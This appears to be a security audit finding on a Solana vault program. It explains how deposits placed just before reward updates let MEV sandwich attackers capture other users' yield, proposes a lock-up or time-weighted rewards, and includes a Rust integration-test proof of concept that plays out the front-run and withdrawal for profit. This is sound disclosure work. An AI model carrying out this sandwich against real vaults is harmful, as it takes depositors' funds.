The vault reward mechanism can be sandwiched by MEV to gain profits.
Vulnerability Details
When any SPL tokens are rewarded to the vault, the vault will update the VRT and total deposited amounts after calculating the reward fee:
// 1. Calculate reward fee in STpubfnprocess_update_vault_balance( program_id:&Pubkey, accounts:&[AccountInfo],) ->ProgramResult {...let st_rewards = new_st_balance.saturating_sub(vault.tokens_deposited());let st_reward_fee = vault.calculate_st_reward_fee(new_st_balance)?;// 2. Increment ST less the reward feelet st_balance_after_fees = new_st_balance.checked_sub(st_reward_fee).ok_or(VaultError::ArithmeticUnderflow)?;// @audit - update the vault's ST balance vault.set_tokens_deposited(st_balance_after_fees);// 3. Calculate the reward fee in VRTlet vrt_reward_fee = vault.calculate_vrt_mint_amount(st_reward_fee)?;// 4. Update State, with the vrt fee and the new st balance vault.set_tokens_deposited(new_st_balance);// @audit - increment the vault's VRT supply with the `vrt_reward_fee`. vault.increment_vrt_supply(vrt_reward_fee)?;...}
This instruction will update the vault's VRT and total deposited amounts, if the increased total deposited amounts greater than the increased VRT supply, the exchange rate when burning the VRT: total_deposited/VRT will be increased, such that any users can redeem more ST with the same amount of VRT.
For example, both the total deposited amounts and VRT supply are 100000, so the exchange rate is 1:1 at first, whether minting or burning VRT.
If some SPL tokens are rewarded to the vault with 10000, reward fee is 1%, the st_reward_fee = 110000 * 1% = 1100, the total deposited amounts will be updated to 110000 - 1100 = 108900, the vrt_reward_fee = 1100 * 100000/108900 = 1010, so the new VRT supply will be 100000 + 1010 = 101010. When users withdraw SPL tokens with VRT at this time, the exchange rate between SPL token and VRT supply is 108900/101010 ~= 1.078 greater than 1, so any users can gain profits by sandwich when the supported SPL tokens are rewarded to the vault.
Impact
The vault reward mechanism can be sandwiched by MEV to gain profits from other users' yield.
Implement a lock-up period for new deposited users, this should prevent any users can withdraw SPL tokens immediately after the SPL tokens are rewarded to the vault.
Or distriubute the rewards based on the time of the deposit, the longer the deposit time, the more rewards will be distributed.
Proof of Concept
Proof of Concept
This is a PoC of the above issue, please see the comments for the detailed steps, insert the case to integration_tests/tests/vault/burn_withdrawal_ticket.rs file then run cargo-build-sbf && SBF_OUT_DIR=$(pwd)/target/sbf-solana-solana/release cargo nextest run --all-features test_burn_withdrawal_ticket_basic_success_with_update_vault_balance --verbose:
#[tokio::test]asyncfntest_burn_withdrawal_ticket_basic_success_with_update_vault_balance() {const MINT_AMOUNT:u64=100_000;const WITHDRAWAL_AMOUNT:u64=10_000;let deposit_fee_bps =0;let withdraw_fee_bps =0;// set reward_fee_bps -> 1%let reward_fee_bps =100;let num_operators =1;let slasher_amounts =vec![];letmut fixture =TestBuilder::new().await;letConfiguredVault {mut vault_program_client, restaking_program_client: _, vault_config_admin: _, vault_root, restaking_config_admin: _, operator_roots, } = fixture.setup_vault_with_ncn_and_operators( deposit_fee_bps, withdraw_fee_bps, reward_fee_bps, num_operators,&slasher_amounts, ).await.unwrap();// 1. initial deposit + mint to the depositor with MINT_AMOUNT and delegate all funds to the operatorlet depositor =Keypair::new(); vault_program_client.configure_depositor(&vault_root, &depositor.pubkey(), MINT_AMOUNT).await.unwrap(); vault_program_client.do_mint_to(&vault_root, &depositor, MINT_AMOUNT, MINT_AMOUNT).await.unwrap(); vault_program_client.do_add_delegation(&vault_root, &operator_roots[0].operator_pubkey, MINT_AMOUNT).await.unwrap();// 2. attacker monitor some rewarders is sending spl tokens to the vault as rewards in the mempool,// and front-run the rewarders txs, initial deposit + mint to the attacker with WITHDRAWAL_AMOUNTlet attacker =Keypair::new(); vault_program_client.configure_depositor(&vault_root, &attacker.pubkey(), WITHDRAWAL_AMOUNT).await.unwrap(); vault_program_client.do_mint_to(&vault_root, &attacker, WITHDRAWAL_AMOUNT, WITHDRAWAL_AMOUNT).await.unwrap();// 3. rewarder transfer spl token reward to the vault with MINT_AMOUNT/10let rewarder:Keypair=Keypair::new(); vault_program_client.configure_depositor(&vault_root, &rewarder.pubkey(), MINT_AMOUNT/3).await.unwrap(); vault_program_client.create_and_fund_reward_vault(&vault_root.vault_pubkey, &rewarder, MINT_AMOUNT/10).await.unwrap();// 4. Attacker initiate enqueue withdrawal with WITHDRAWAL_AMOUNTletVaultStakerWithdrawalTicketRoot { base } = vault_program_client.do_enqueue_withdrawal(&vault_root, &attacker, WITHDRAWAL_AMOUNT).await.unwrap(); vault_program_client.do_cooldown_delegation(&vault_root, &operator_roots[0].operator_pubkey, WITHDRAWAL_AMOUNT).await.unwrap();// 5. Waiting for epochs to passlet config = vault_program_client.get_config(&Config::find_program_address(&jito_vault_program::id()).0).await.unwrap(); fixture.warp_slot_incremental(config.epoch_length()).await.unwrap(); vault_program_client.do_full_vault_update(&vault_root.vault_pubkey,&[operator_roots[0].operator_pubkey], ).await.unwrap(); fixture.warp_slot_incremental(config.epoch_length()).await.unwrap(); vault_program_client.do_full_vault_update(&vault_root.vault_pubkey,&[operator_roots[0].operator_pubkey], ).await.unwrap(); vault_program_client.do_burn_withdrawal_ticket(&vault_root, &attacker, &base, &config.program_fee_wallet).await.unwrap();// 6. check the amounts of the attacker's token accountlet vault = vault_program_client.get_vault(&vault_root.vault_pubkey).await.unwrap();let attacker_token_account = fixture.get_token_account(&get_associated_token_address(&attacker.pubkey(),&vault.supported_mint, )).await.unwrap();// attacker mint VRT with 10000 spl tokens at first, then withdraw spl tokens with 10000 VRT, 10000 * 120000/110091 = 10900 > WITHDRAWAL_AMOUNT.assert_eq!(attacker_token_account.amount, WITHDRAWAL_AMOUNT +900);}